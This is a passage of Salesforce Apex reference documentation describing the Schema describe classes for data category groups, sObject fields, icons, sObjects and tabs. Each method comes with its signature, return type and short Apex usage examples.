DescribeDataCategoryGroupResult Class
Contains the list of the category groups associated with KnowledgeArticleVersion and Question.
2027
DescribeDataCategoryGroupResult ClassReference
Namespace
Schema
Usage
The describeDataCategoryGroups method returns a Schema.DescribeDataCategoryGroupResult object
containing the list of the category groups associated with the specified object.
For additional information and code examples using describeDataCategoryGroups, see Accessing All Data Categories
Associated with an sObject.
Example
The following is an example of how to instantiate a data category group describe result object:
List <String> objType = new List<String>();
objType.add('KnowledgeArticleVersion');
objType.add('Question');
List<Schema.DescribeDataCategoryGroupResult> describeCategoryResult =
Schema.describeDataCategoryGroups(objType);
DescribeDataCategoryGroupResult Methods
The following are methods for DescribeDataCategoryGroupResult. All are instance methods.
IN THIS SECTION:
getCategoryCount()
Returns the number of visible data categories in the data category group.
getDescription()
Returns the description of the data category group.
getLabel()
Returns the label for the data category group used in the Salesforce user interface.
getName()
Returns the unique name used by the API to access to the data category group.
getSobject()
Returns the object name associated with the data category group.
getCategoryCount()
Returns the number of visible data categories in the data category group.
Signature
public Integer getCategoryCount()
2028
DescribeDataCategoryGroupResult ClassReference
Return Value
Type: Integer
getDescription()
Returns the description of the data category group.
Signature
public String getDescription()
Return Value
Type: String
getLabel()
Returns the label for the data category group used in the Salesforce user interface.
Signature
public String getLabel()
Return Value
Type: String
getName()
Returns the unique name used by the API to access to the data category group.
Signature
public String getName()
Return Value
Type: String
getSobject()
Returns the object name associated with the data category group.
Signature
public String getSobject()
Return Value
Type: String
2029
DescribeDataCategoryGroupResult ClassReference
DescribeDataCategoryGroupStructureResult Class
Contains the category groups and categories associated with KnowledgeArticleVersion and Question.
Namespace
Schema
Usage
The describeDataCategoryGroupStructures method returns a list of Schema.Describe
DataCategoryGroupStructureResult objects containing the category groups and categories associated with the specified
object.
For additional information and code examples, see Accessing All Data Categories Associated with an sObject.
Example
The following is an example of how to instantiate a data category group structure describe result object:
List <DataCategoryGroupSobjectTypePair> pairs =
new List<DataCategoryGroupSobjectTypePair>();
DataCategoryGroupSobjectTypePair pair1 =
new DataCategoryGroupSobjectTypePair();
pair1.setSobject('KnowledgeArticleVersion');
pair1.setDataCategoryGroupName('Regions');
DataCategoryGroupSobjectTypePair pair2 =
new DataCategoryGroupSobjectTypePair();
pair2.setSobject('Questions');
pair2.setDataCategoryGroupName('Regions');
pairs.add(pair1);
pairs.add(pair2);
List<Schema.DescribeDataCategoryGroupStructureResult>results =
Schema.describeDataCategoryGroupStructures(pairs, true);
DescribeDataCategoryGroupStructureResult Methods
The following are methods for DescribeDataCategoryGroupStructureResult. All are instance methods.
IN THIS SECTION:
getDescription()
Returns the description of the data category group.
getLabel()
Returns the label for the data category group used in the Salesforce user interface.
getName()
Returns the unique name used by the API to access to the data category group.
2030
DescribeDataCategoryGroupStructureResult ClassReference
getSobject()
Returns the name of object associated with the data category group.
getTopCategories()
Returns a Schema.DataCategory object, that contains the top categories visible depending on the user's data category group
visibility settings.
getDescription()
Returns the description of the data category group.
Signature
public String getDescription()
Return Value
Type: String
getLabel()
Returns the label for the data category group used in the Salesforce user interface.
Signature
public String getLabel()
Return Value
Type: String
getName()
Returns the unique name used by the API to access to the data category group.
Signature
public String getName()
Return Value
Type: String
getSobject()
Returns the name of object associated with the data category group.
Signature
public String getSobject()
2031
DescribeDataCategoryGroupStructureResult ClassReference
Return Value
Type: String
getTopCategories()
Returns a Schema.DataCategory object, that contains the top categories visible depending on the user's data category group
visibility settings.
Signature
public List<Schema.DataCategory> getTopCategories()
Return Value
Type: List<Schema.DataCategory>
Usage
For more information on data category group visibility, see “Data Category Visibility” in the Salesforce online help.
DescribeFieldResult Class
Contains methods for describing sObject fields.
Namespace
Schema
Example
The following is an example of how to instantiate a field describe result object:
Schema.DescribeFieldResult dfr = Account.Description.getDescribe();
DescribeFieldResult Methods
The following are methods for DescribeFieldResult. All are instance methods.
IN THIS SECTION:
getByteLength()
For variable-length fields (including binary fields), returns the maximum size of the field, in bytes.
getCalculatedFormula()
Returns the formula specified for this field.
getController()
Returns the token of the controlling field.
getDefaultValue()
Returns the default value for this field.
2032
DescribeFieldResult ClassReference
getDefaultValueFormula()
Returns the default value specified for this field if a formula is not used.
getDigits()
Returns the maximum number of digits specified for the field. This method is only valid with Integer fields.
getInlineHelpText()
Returns the content of the field-level help.
getLabel()
Returns the text label that is displayed next to the field in the Salesforce user interface. This label can be localized.
getLength()
For string fields, returns the maximum size of the field in Unicode characters (not bytes).
getLocalName()
Returns the name of the field, similar to the getName method. However, if the field is part of the current namespace, the namespace
portion of the name is omitted.
getName()
Returns the field name used in Apex.
getPicklistValues()
Returns a list of PicklistEntry objects. A runtime error is returned if the field is not a picklist.
getPrecision()
For fields of type Double, returns the maximum number of digits that can be stored, including all numbers to the left and to the
right of the decimal point (but excluding the decimal point character).
getReferenceTargetField()
Returns the name of the custom field on the parent standard or custom object whose values are matched against the values of the
child external object's indirect lookup relationship field. The match is done to determine which records are related to each other.
getReferenceTo()
Returns a list of Schema.sObjectType objects for the parent objects of this field. If the isNamePointing method returns true,
there is more than one entry in the list, otherwise there is only one.
getRelationshipName()
Returns the name of the relationship.
getRelationshipOrder()
Returns 1 if the field is a child, 0 otherwise.
getScale()
For fields of type Double, returns the number of digits to the right of the decimal point. Any extra digits to the right of the decimal
point are truncated.
getSOAPType()
Returns one of the SoapType enum values, depending on the type of field.
getSObjectField()
Returns the token for this field.
getType()
Returns one of the DisplayType enum values, depending on the type of field.
isAccessible()
Returns true if the current user can see this field, false otherwise.
2033
DescribeFieldResult ClassReference
isAutoNumber()
Returns true if the field is an Auto Number field, false otherwise.
isCalculated()
Returns true if the field is a custom formula field, false otherwise. Note that custom formula fields are always read-only.
isCascadeDelete()
Returns true if the child object is deleted when the parent object is deleted, false otherwise.
isCaseSensitive()
Returns true if the field is case sensitive, false otherwise.
isCreateable()
Returns true if the field can be created by the current user, false otherwise.
isCustom()
Returns true if the field is a custom field, false if it is a standard field, such as Name.
isDefaultedOnCreate()
Returns true if the field receives a default value when created, false otherwise.
isDependentPicklist()
Returns true if the picklist is a dependent picklist, false otherwise.
isDeprecatedAndHidden()
Reserved for future use.
isExternalID()
Returns true if the field is used as an external ID, false otherwise.
isFilterable()
Returns true if the field can be used as part of the filter criteria of a WHERE statement, false otherwise.
isGroupable()
Returns true if the field can be included in the GROUP BY clause of a SOQL query, false otherwise. This method is only
available for Apex classes and triggers saved using API version 18.0 and higher.
isHtmlFormatted()
Returns true if the field has been formatted for HTML and should be encoded for display in HTML, false otherwise. One example
of a field that returns true for this method is a hyperlink custom formula field. Another example is a custom formula field that has
an IMAGE text function.
isIdLookup()
Returns true if the field can be used to specify a record in an upsert method, false otherwise.
isNameField()
Returns true if the field is a name field, false otherwise.
isNamePointing()
Returns true if the field can have multiple types of objects as parents. For example, a task can have both the Contact/Lead
ID (WhoId) field and the Opportunity/Account ID (WhatId) field return true for this method. because either of
those objects can be the parent of a particular task record. This method returns false otherwise.
isNillable()
Returns true if the field is nillable, false otherwise. A nillable field can have empty content. A non-nillable field must have a
value for the object to be created or saved.
2034
DescribeFieldResult ClassReference
isPermissionable()
Returns true if field permissions can be specified for the field, false otherwise.
isRestrictedDelete()
Returns true if the parent object can't be deleted because it is referenced by a child object, false otherwise.
isRestrictedPicklist()
Returns true if the field is a restricted picklist, false otherwise
isSortable()
Returns true if a query can sort on the field, false otherwise
isUnique()
Returns true if the value for the field must be unique, false otherwise
isUpdateable()
Returns true if the field can be edited by the current user, or child records in a master-detail relationship field on a custom object
can be reparented to different parent records; false otherwise.
isWriteRequiresMasterRead()
Returns true if writing to the detail object requires read sharing instead of read/write sharing of the parent.
getByteLength()
For variable-length fields (including binary fields), returns the maximum size of the field, in bytes.
Signature
public Integer getByteLength()
Return Value
Type: Integer
getCalculatedFormula()
Returns the formula specified for this field.
Signature
public String getCalculatedFormula()
Return Value
Type: String
getController()
Returns the token of the controlling field.
Signature
public Schema.sObjectField getController()
2035
DescribeFieldResult ClassReference
Return Value
Type: Schema.SObjectField
getDefaultValue()
Returns the default value for this field.
Signature
public Object getDefaultValue()
Return Value
Type: Object
getDefaultValueFormula()
Returns the default value specified for this field if a formula is not used.
Signature
public String getDefaultValueFormula()
Return Value
Type: String
getDigits()
Returns the maximum number of digits specified for the field. This method is only valid with Integer fields.
Signature
public Integer getDigits()
Return Value
Type: Integer
getInlineHelpText()
Returns the content of the field-level help.
Signature
public String getInlineHelpText()
Return Value
Type: String
2036
DescribeFieldResult ClassReference
Usage
For more information, see “Define Field-Level Help” in the Salesforce online help.
getLabel()
Returns the text label that is displayed next to the field in the Salesforce user interface. This label can be localized.
Signature
public String getLabel()
Return Value
Type: String
Usage
Note: For the Type field on standard objects, getLabel returns a label different from the default label. It returns a label of the
form Object Type, where Object is the standard object label. For example, for the Type field on Account, getLabel returns
Account Type instead of the default label Type. If the Type label is renamed, getLabel returns the new label. You can
check or change the labels of all standard object fields from Setup by entering Rename Tabs and Labels in the Quick
Find box, then selecting Rename Tabs and Labels.
getLength()
For string fields, returns the maximum size of the field in Unicode characters (not bytes).
Signature
public Integer getLength()
Return Value
Type: Integer
getLocalName()
Returns the name of the field, similar to the getName method. However, if the field is part of the current namespace, the namespace
portion of the name is omitted.
Signature
public String getLocalName()
Return Value
Type: String
2037
DescribeFieldResult ClassReference
getName()
Returns the field name used in Apex.
Signature
public String getName()
Return Value
Type: String
getPicklistValues()
Returns a list of PicklistEntry objects. A runtime error is returned if the field is not a picklist.
Signature
public List<Schema.PicklistEntry> getPicklistValues()
Return Value
Type: List<Schema.PicklistEntry>
getPrecision()
For fields of type Double, returns the maximum number of digits that can be stored, including all numbers to the left and to the right
of the decimal point (but excluding the decimal point character).
Signature
public Integer getPrecision()
Return Value
Type: Integer
getReferenceTargetField()
Returns the name of the custom field on the parent standard or custom object whose values are matched against the values of the child
external object's indirect lookup relationship field. The match is done to determine which records are related to each other.
Signature
public String getReferenceTargetField()
Return Value
Type: String
2038
DescribeFieldResult ClassReference
Usage
For information about indirect lookup relationships, see “Indirect Lookup Relationship Fields on External Objects” in the Salesforce Help.
getReferenceTo()
Returns a list of Schema.sObjectType objects for the parent objects of this field. If the isNamePointing method returns true,
there is more than one entry in the list, otherwise there is only one.
Signature
public List <Schema.sObjectType> getReferenceTo()
Return Value
Type: List<Schema.sObjectType>
getRelationshipName()
Returns the name of the relationship.
Signature
public String getRelationshipName()
Return Value
Type: String
Usage
For more information about relationships and relationship names, see Understanding Relationship Names in the Force.com SOQL and
SOSL Reference.
getRelationshipOrder()
Returns 1 if the field is a child, 0 otherwise.
Signature
public Integer getRelationshipOrder()
Return Value
Type: Integer
Usage
For more information about relationships and relationship names, see Understanding Relationship Names in the Force.com SOQL and
SOSL Reference.
2039
DescribeFieldResult ClassReference
getScale()
For fields of type Double, returns the number of digits to the right of the decimal point. Any extra digits to the right of the decimal point
are truncated.
Signature
public Integer getScale()
Return Value
Type: Integer
Usage
This method returns a fault response if the number has too many digits to the left of the decimal point.
getSOAPType()
Returns one of the SoapType enum values, depending on the type of field.
Signature
public Schema.SOAPType getSOAPType()
Return Value
Type: Schema.SOAPType
getSObjectField()
Returns the token for this field.
Signature
public Schema.sObjectField getSObjectField()
Return Value
Type: Schema.SObjectField
getType()
Returns one of the DisplayType enum values, depending on the type of field.
Signature
public Schema.DisplayType getType()
2040
DescribeFieldResult ClassReference
Return Value
Type: Schema.DisplayType
isAccessible()
Returns true if the current user can see this field, false otherwise.
Signature
public Boolean isAccessible()
Return Value
Type: Boolean
isAutoNumber()
Returns true if the field is an Auto Number field, false otherwise.
Signature
public Boolean isAutoNumber()
Return Value
Type: Boolean
Usage
Analogous to a SQL IDENTITY type, Auto Number fields are read-only, non-createable text fields with a maximum length of 30 characters.
Auto Number fields are used to provide a unique ID that is independent of the internal object ID (such as a purchase order number or
invoice number). Auto Number fields are configured entirely in the Salesforce user interface.
isCalculated()
Returns true if the field is a custom formula field, false otherwise. Note that custom formula fields are always read-only.
Signature
public Boolean isCalculated()
Return Value
Type: Boolean
isCascadeDelete()
Returns true if the child object is deleted when the parent object is deleted, false otherwise.
2041
DescribeFieldResult ClassReference
Signature
public Boolean isCascadeDelete()
Return Value
Type: Boolean
isCaseSensitive()
Returns true if the field is case sensitive, false otherwise.
Signature
public Boolean isCaseSensitive()
Return Value
Type: Boolean
isCreateable()
Returns true if the field can be created by the current user, false otherwise.
Signature
public Boolean isCreateable()
Return Value
Type: Boolean
isCustom()
Returns true if the field is a custom field, false if it is a standard field, such as Name.
Signature
public Boolean isCustom()
Return Value
Type: Boolean
isDefaultedOnCreate()
Returns true if the field receives a default value when created, false otherwise.
Signature
public Boolean isDefaultedOnCreate()
2042
DescribeFieldResult ClassReference
Return Value
Type: Boolean
Usage
If this method returns true, Salesforce implicitly assigns a value for this field when the object is created, even if a value for this field is
not passed in on the create call. For example, in the Opportunity object, the Probability field has this attribute because its value is derived
from the Stage field. Similarly, the Owner has this attribute on most objects because its value is derived from the current user (if the
Owner field is not specified).
isDependentPicklist()
Returns true if the picklist is a dependent picklist, false otherwise.
Signature
public Boolean isDependentPicklist()
Return Value
Type: Boolean
isDeprecatedAndHidden()
Reserved for future use.
Signature
public Boolean isDeprecatedAndHidden()
Return Value
Type: Boolean
isExternalID()
Returns true if the field is used as an external ID, false otherwise.
Signature
public Boolean isExternalID()
Return Value
Type: Boolean
isFilterable()
Returns true if the field can be used as part of the filter criteria of a WHERE statement, false otherwise.
2043
DescribeFieldResult ClassReference
Signature
public Boolean isFilterable()
Return Value
Type: Boolean
isGroupable()
Returns true if the field can be included in the GROUP BY clause of a SOQL query, false otherwise. This method is only available
for Apex classes and triggers saved using API version 18.0 and higher.
Signature
public Boolean isGroupable()
Return Value
Type: Boolean
isHtmlFormatted()
Returns true if the field has been formatted for HTML and should be encoded for display in HTML, false otherwise. One example
of a field that returns true for this method is a hyperlink custom formula field. Another example is a custom formula field that has an
IMAGE text function.
Signature
public Boolean isHtmlFormatted()
Return Value
Type: Boolean
isIdLookup()
Returns true if the field can be used to specify a record in an upsert method, false otherwise.
Signature
public Boolean isIdLookup()
Return Value
Type: Boolean
isNameField()
Returns true if the field is a name field, false otherwise.
2044
DescribeFieldResult ClassReference
Signature
public Boolean isNameField()
Return Value
Type: Boolean
Usage
This method is used to identify the name field for standard objects (such as AccountName for an Account object) and custom objects.
Objects can only have one name field, except where the FirstName and LastName fields are used instead (such as on the Contact
object).
If a compound name is present, for example, the Name field on a person account, isNameField is set to true for that record.
isNamePointing()
Returns true if the field can have multiple types of objects as parents. For example, a task can have both the Contact/Lead ID
(WhoId) field and the Opportunity/Account ID (WhatId) field return true for this method. because either of those objects
can be the parent of a particular task record. This method returns false otherwise.
Signature
public Boolean isNamePointing()
Return Value
Type: Boolean
isNillable()
Returns true if the field is nillable, false otherwise. A nillable field can have empty content. A non-nillable field must have a value
for the object to be created or saved.
Signature
public Boolean isNillable()
Return Value
Type: Boolean
isPermissionable()
Returns true if field permissions can be specified for the field, false otherwise.
Signature
public Boolean isPermissionable()
2045
DescribeFieldResult ClassReference
Return Value
Type: Boolean
isRestrictedDelete()
Returns true if the parent object can't be deleted because it is referenced by a child object, false otherwise.
Signature
public Boolean isRestrictedDelete()
Return Value
Type: Boolean
isRestrictedPicklist()
Returns true if the field is a restricted picklist, false otherwise
Signature
public Boolean isRestrictedPicklist()
Return Value
Type: Boolean
isSortable()
Returns true if a query can sort on the field, false otherwise
Signature
public Boolean isSortable()
Return Value
Type: Boolean
isUnique()
Returns true if the value for the field must be unique, false otherwise
Signature
public Boolean isUnique()
Return Value
Type: Boolean
2046
DescribeFieldResult ClassReference
isUpdateable()
Returns true if the field can be edited by the current user, or child records in a master-detail relationship field on a custom object can
be reparented to different parent records; false otherwise.
Signature
public Boolean isUpdateable()
Return Value
Type: Boolean
isWriteRequiresMasterRead()
Returns true if writing to the detail object requires read sharing instead of read/write sharing of the parent.
Signature
public Boolean isWriteRequiresMasterRead()
Return Value
Type: Boolean
DescribeIconResult Class
Contains icon metadata information for a tab.
Namespace
Schema
Usage
The getIcons method of the Schema.DescribeTabResult class returns a list of Schema.DescribeIconResult
objects that describe colors used in a tab.
The methods in the Schema.DescribeIconResult class can be called using their property counterparts. For each method
starting with get, you can omit the get prefix and the ending parentheses () to call the property counterpart. For example,
iconResultObj.url is equivalent to iconResultObj.getUrl().
Example
This sample shows how to get the icon information in the Sales app for the first tab’s first icon.
// Get tab set describes for each app
List<Schema.DescribeTabSetResult> tabSetDesc = Schema.describeTabs();
// Iterate through each tab set
for(Schema.DescribeTabSetResult tsr : tabSetDesc) {
2047
DescribeIconResult ClassReference
// Get tab info for the Sales app
if (tsr.getLabel() == 'Sales') {
// Get icon information for the first tab
List<Schema.DescribeIconResult> iconDesc = tsr.getTabs()[0].getIcons();
// Display the icon height and width of the first icon
System.debug('Height: ' + iconDesc[0].getHeight());
System.debug('Width: ' + iconDesc[0].getWidth());
}
}
// Example debug statement output
// DEBUG|Height: 32
// DEBUG|Width: 32
DescribeIconResult Methods
The following are methods for DescribeIconResult. All are instance methods.
IN THIS SECTION:
getContentType()
Returns the tab icon’s content type, such as image/png.
getHeight()
Returns the tab icon’s height in pixels.
getTheme()
Returns the tab’s icon theme.
getUrl()
Returns the tab’s icon fully qualified URL.
getWidth()
Returns the tab’s icon width in pixels.
getContentType()
Returns the tab icon’s content type, such as image/png.
Signature
public String getContentType()
Return Value
Type: String
getHeight()
Returns the tab icon’s height in pixels.
2048
DescribeIconResult ClassReference
Signature
public Integer getHeight()
Return Value
Type: Integer
Usage
Note: If the icon content type is SVG, the icon won’t have a size and its height is zero.
getTheme()
Returns the tab’s icon theme.
Signature
public String getTheme()
Return Value
Type: String
Possible theme values include theme3, theme4, and custom.
•theme3 is the Salesforce theme introduced during Spring ‘10.
•theme4 is the Salesforce theme introduced in Winter ‘14 for the mobile touchscreen version of Salesforce.
•custom is the theme name associated with a custom icon.
getUrl()
Returns the tab’s icon fully qualified URL.
Signature
public String getUrl()
Return Value
Type: String
getWidth()
Returns the tab’s icon width in pixels.
Signature
public Integer getWidth()
2049
DescribeIconResult ClassReference
Return Value
Type: Integer
Usage
Note: If the icon content type is SVG, the icon won’t have a size and its width is zero.
DescribeSObjectResult Class
Contains methods for describing sObjects.
Namespace
Schema
Usage
None of the methods take an argument.
DescribeSObjectResult Methods
The following are methods for DescribeSObjectResult. All are instance methods.
IN THIS SECTION:
fields
Follow fields with a field member variable name or with the getMap method.
fieldSets
Follow fieldSets with a field set name or with the getMap method.
getChildRelationships()
Returns a list of child relationships, which are the names of the sObjects that have a foreign key to the sObject being described.
getHasSubtypes()
Indicates whether the object has subtypes. The Account object, which has subtype PersonAccount, is the only object that will return
true.
getKeyPrefix()
Returns the three-character prefix code for the object. Record IDs are prefixed with three-character codes that specify the type of
the object (for example, accounts have a prefix of 001 and opportunities have a prefix of 006).
getLabel()
Returns the object's label, which may or may not match the object name.
getLabelPlural()
Returns the object's plural label, which may or may not match the object name.
getLocalName()
Returns the name of the object, similar to the getName method. However, if the object is part of the current namespace, the
namespace portion of the name is omitted.
2050
DescribeSObjectResult ClassReference
getName()
Returns the name of the object.
getRecordTypeInfos()
Returns a list of the record types supported by this object. The current user is not required to have access to a record type to see it
in this list.
getRecordTypeInfosById()
Returns a map that matches record IDs to their associated record types. The current user is not required to have access to a record
type to see it in this map.
getRecordTypeInfosByName()
Returns a map that matches record labels to their associated record type. The current user is not required to have access to a record
type to see it in this map.
getSobjectType()
Returns the Schema.SObjectType object for the sObject. You can use this to create a similar sObject.
isAccessible()
Returns true if the current user can see this object, false otherwise.
isCreateable()
Returns true if the object can be created by the current user, false otherwise.
isCustom()
Returns true if the object is a custom object, false if it is a standard object.
isCustomSetting()
Returns true if the object is a custom setting, false otherwise.
isDeletable()
Returns true if the object can be deleted by the current user, false otherwise.
isDeprecatedAndHidden()
Reserved for future use.
isFeedEnabled()
Returns true if Chatter feeds are enabled for the object, false otherwise. This method is only available for Apex classes and
triggers saved using SalesforceAPI version 19.0 and later.
isMergeable()
Returns true if the object can be merged with other objects of its type by the current user, false otherwise. true is returned
for leads, contacts, and accounts.
isMruEnabled()
Returns true if Most Recently Used (MRU) list functionality is enabled for the object, false otherwise.
isQueryable()
Returns true if the object can be queried by the current user, false otherwise
isSearchable()
Returns true if the object can be searched by the current user, false otherwise.
isUndeletable()
Returns true if the object cannot be undeleted by the current user, false otherwise.
isUpdateable()
Returns true if the object can be updated by the current user, false otherwise.
2051
DescribeSObjectResult ClassReference
fields
Follow fields with a field member variable name or with the getMap method.
Signature
public Schema.SObjectTypeFields fields()
Return Value
Type: The return value is a special data type. See the example to learn how to use fields.
Usage
Note: When you describe sObjects and their fields from within an Apex class, custom fields of new field types are returned
regardless of the API version that the class is saved in. If a field type, such as the geolocation field type, is available only in a recent
API version, components of a geolocation field are returned even if the class is saved in an earlier API version.
Example
Schema.DescribeFieldResult dfr = Schema.SObjectType.Account.fields.Name;
To get a custom field name, specify the custom field name.
SEE ALSO:
Using Field Tokens
Describing sObjects Using Schema Method
Understanding Apex Describe Information
fieldSets
Follow fieldSets with a field set name or with the getMap method.
Signature
public Schema.SObjectTypeFields fieldSets()
Return Value
Type: The return value is a special data type. See the example to learn how to use fieldSets.
Example
Schema.DescribeSObjectResult d =
Account.sObjectType.getDescribe();
2052
DescribeSObjectResult ClassReference
Map<String, Schema.FieldSet> FsMap =
d.fieldSets.getMap();
SEE ALSO:
Using Field Tokens
Describing sObjects Using Schema Method
Understanding Apex Describe Information
getChildRelationships()
Returns a list of child relationships, which are the names of the sObjects that have a foreign key to the sObject being described.
Signature
public Schema.ChildRelationship getChildRelationships()
Return Value
Type: List<Schema.ChildRelationship>
Example
For example, the Account object includes Contacts and Opportunities as child relationships.
getHasSubtypes()
Indicates whether the object has subtypes. The Account object, which has subtype PersonAccount, is the only object that will return
true.
Signature
public Boolean getHasSubtypes()
Return Value
Type: Boolean
getKeyPrefix()
Returns the three-character prefix code for the object. Record IDs are prefixed with three-character codes that specify the type of the
object (for example, accounts have a prefix of 001 and opportunities have a prefix of 006).
Signature
public String getKeyPrefix()
Return Value
Type: String
2053
DescribeSObjectResult ClassReference
Usage
The DescribeSobjectResult object returns a value for objects that have a stable prefix. For object types that do not have a stable or
predictable prefix, this field is blank. Client applications that rely on these codes can use this way of determining object type to ensure
forward compatibility.
getLabel()
Returns the object's label, which may or may not match the object name.
Signature
public String getLabel()
Return Value
Type: String
Usage
The object's label might not always match the object name. For example, an organization in the medical industry might change the
label for Account to Patient. This label is then used in the Salesforce user interface. See the Salesforce online help for more information.
getLabelPlural()
Returns the object's plural label, which may or may not match the object name.
Signature
public String getLabelPlural()
Return Value
Type: String
Usage
The object's plural label might not always match the object name. For example, an organization in the medical industry might change
the plural label for Account to Patients. This label is then used in the Salesforce user interface. See the Salesforce online help for more
information.
getLocalName()
Returns the name of the object, similar to the getName method. However, if the object is part of the current namespace, the namespace
portion of the name is omitted.
Signature
public String getLocalName()
2054
DescribeSObjectResult ClassReference
Return Value
Type: String
getName()
Returns the name of the object.
Signature
public String getName()
Return Value
Type: String
getRecordTypeInfos()
Returns a list of the record types supported by this object. The current user is not required to have access to a record type to see it in
this list.
Signature
public List<Schema.RecordTypeInfo> getRecordTypeInfos()
Return Value
Type: List<Schema.RecordTypeInfo>
getRecordTypeInfosById()
Returns a map that matches record IDs to their associated record types. The current user is not required to have access to a record type
to see it in this map.
Signature
public Schema.RecordTypeInfo getRecordTypeInfosById()
Return Value
Type: Map<ID, Schema.RecordTypeInfo>
getRecordTypeInfosByName()
Returns a map that matches record labels to their associated record type. The current user is not required to have access to a record type
to see it in this map.
Signature
public Schema.RecordTypeInfo getRecordTypeInfosByName()
2055
DescribeSObjectResult ClassReference
Return Value
Type: Map<String, Schema.RecordTypeInfo>
getSobjectType()
Returns the Schema.SObjectType object for the sObject. You can use this to create a similar sObject.
Signature
public Schema.SObjectType getSobjectType()
Return Value
Type: Schema.SObjectType
isAccessible()
Returns true if the current user can see this object, false otherwise.
Signature
public Boolean isAccessible()
Return Value
Type: Boolean
isCreateable()
Returns true if the object can be created by the current user, false otherwise.
Signature
public Boolean isCreateable()
Return Value
Type: Boolean
isCustom()
Returns true if the object is a custom object, false if it is a standard object.
Signature
public Boolean isCustom()
Return Value
Type: Boolean
2056
DescribeSObjectResult ClassReference
isCustomSetting()
Returns true if the object is a custom setting, false otherwise.
Signature
public Boolean isCustomSetting()
Return Value
Type: Boolean
isDeletable()
Returns true if the object can be deleted by the current user, false otherwise.
Signature
public Boolean isDeletable()
Return Value
Type: Boolean
isDeprecatedAndHidden()
Reserved for future use.
Signature
public Boolean isDeprecatedAndHidden()
Return Value
Type: Boolean
isFeedEnabled()
Returns true if Chatter feeds are enabled for the object, false otherwise. This method is only available for Apex classes and triggers
saved using SalesforceAPI version 19.0 and later.
Signature
public Boolean isFeedEnabled()
Return Value
Type: Boolean
2057
DescribeSObjectResult ClassReference
isMergeable()
Returns true if the object can be merged with other objects of its type by the current user, false otherwise. true is returned for
leads, contacts, and accounts.
Signature
public Boolean isMergeable()
Return Value
Type: Boolean
isMruEnabled()
Returns true if Most Recently Used (MRU) list functionality is enabled for the object, false otherwise.
Signature
public Boolean isMruEnabled()
Return Value
Type: Boolean
isQueryable()
Returns true if the object can be queried by the current user, false otherwise
Signature
public Boolean isQueryable()
Return Value
Type: Boolean
isSearchable()
Returns true if the object can be searched by the current user, false otherwise.
Signature
public Boolean isSearchable()
Return Value
Type: Boolean
2058
DescribeSObjectResult ClassReference
isUndeletable()
Returns true if the object cannot be undeleted by the current user, false otherwise.
Signature
public Boolean isUndeletable()
Return Value
Type: Boolean
isUpdateable()
Returns true if the object can be updated by the current user, false otherwise.
Signature
public Boolean isUpdateable()
Return Value
Type: Boolean
DescribeTabResult Class
Contains tab metadata information for a tab in a standard or custom app available in the Salesforce user interface.
Namespace
Schema
Usage
The getTabs method of the Schema.DescribeTabSetResult returns a list of Schema.DescribeTabResult objects
that describe the tabs of one app.
The methods in the Schema.DescribeTabResult class can be called using their property counterparts. For each method starting
with get, you can omit the get prefix and the ending parentheses () to call the property counterpart. For example,
tabResultObj.label is equivalent to tabResultObj.getLabel(). Similarly, for each method starting with is, omit
the is prefix and the ending parentheses (). For example, tabResultObj.isCustom is equivalent to
tabResultObj.custom.
DescribeTabResult Methods
The following are methods for DescribeTabResult. All are instance methods.
2059
DescribeTabResult ClassReference
IN THIS SECTION:
getColors()
Returns a list of color metadata information for all colors associated with this tab. Each color is associated with a theme and context.
getIconUrl()
Returns the URL for the main 32 x 32-pixel icon for a tab. This icon corresponds to the current theme (theme3) and appears next to
the heading at the top of most pages.
getIcons()
Returns a list of icon metadata information for all icons associated with this tab. Each icon is associated with a theme and context.
getLabel()
Returns the display label of this tab.
getMiniIconUrl()
Returns the URL for the 16 x 16-pixel icon that represents a tab. This icon corresponds to the current theme (theme3) and appears
in related lists and other locations.
getSobjectName()
Returns the name of the sObject that is primarily displayed on this tab (for tabs that display a particular SObject).
getUrl()
Returns a fully qualified URL for viewing this tab.
isCustom()
Returns true if this is a custom tab, or false if this is a standard tab.
getColors()
Returns a list of color metadata information for all colors associated with this tab. Each color is associated with a theme and context.
Signature
public List<Schema.DescribeColorResult> getColors()
Return Value
Type: List<Schema.DescribeColorResult>
getIconUrl()
Returns the URL for the main 32 x 32-pixel icon for a tab. This icon corresponds to the current theme (theme3) and appears next to the
heading at the top of most pages.
Signature
public String getIconUrl()
Return Value
Type: String
2060
DescribeTabResult ClassReference
getIcons()
Returns a list of icon metadata information for all icons associated with this tab. Each icon is associated with a theme and context.
Signature
public List<Schema.DescribeIconResult> getIcons()
Return Value
Type: List<Schema.DescribeIconResult>
getLabel()
Returns the display label of this tab.
Signature
public String getLabel()
Return Value
Type: String
getMiniIconUrl()
Returns the URL for the 16 x 16-pixel icon that represents a tab. This icon corresponds to the current theme (theme3) and appears in
related lists and other locations.
Signature
public String getMiniIconUrl()
Return Value
Type: String
getSobjectName()
Returns the name of the sObject that is primarily displayed on this tab (for tabs that display a particular SObject).
Signature
public String getSobjectName()
Return Value
Type: String
2061
DescribeTabResult ClassReference
getUrl()
Returns a fully qualified URL for viewing this tab.
Signature
public String getUrl()
Return Value
Type: String
isCustom()
Returns true if this is a custom tab, or false if this is a standard tab.
Signature
public Boolean isCustom()
Return Value
Type: Boolean
DescribeTabSetResult Class
Contains metadata information about a standard or custom app available in the Salesforce user interface.
Namespace
Schema
Usage
The Schema.describeTabs method returns a list of Schema.DescribeTabSetResult objects that describe standard
and custom apps.
The methods in the Schema.DescribeTabSetResult class can be called using their property counterparts. For each method
starting with get, you can omit the get prefix and the ending parentheses () to call the property counterpart. For example,
tabSetResultObj.label is equivalent to tabSetResultObj.getLabel(). Similarly, for each method starting with
is, omit the is prefix and the ending parentheses (). For example, tabSetResultObj.isSelected is equivalent to
tabSetResultObj.selected.
Example
This example shows how to call the Schema.describeTabs method to get describe information for all available apps. This example
iterates through each describe result and gets more metadata information for the Sales app.
// App we're interested to get more info about
String appName = 'Sales';
2062
DescribeTabSetResult ClassReference
// Get tab set describes for each app
List<Schema.DescribeTabSetResult> tabSetDesc = Schema.describeTabs();
// Iterate through each tab set describe for each app and display the info
for(Schema.DescribeTabSetResult tsr : tabSetDesc) {
// Get more information for the Sales app
if (tsr.getLabel() == appName) {
// Find out if the app is selected
if (tsr.isSelected()) {
System.debug('The ' + appName + ' app is selected. ');
}
// Get the app's Logo URL and namespace
String logo = tsr.getLogoUrl();
System.debug('Logo URL: ' + logo);
String ns = tsr.getNamespace();
if (ns == '') {
System.debug('The ' + appName + ' app has no namespace defined.');
}
else {
System.debug('Namespace: ' + ns);
}
// Get the number of tabs
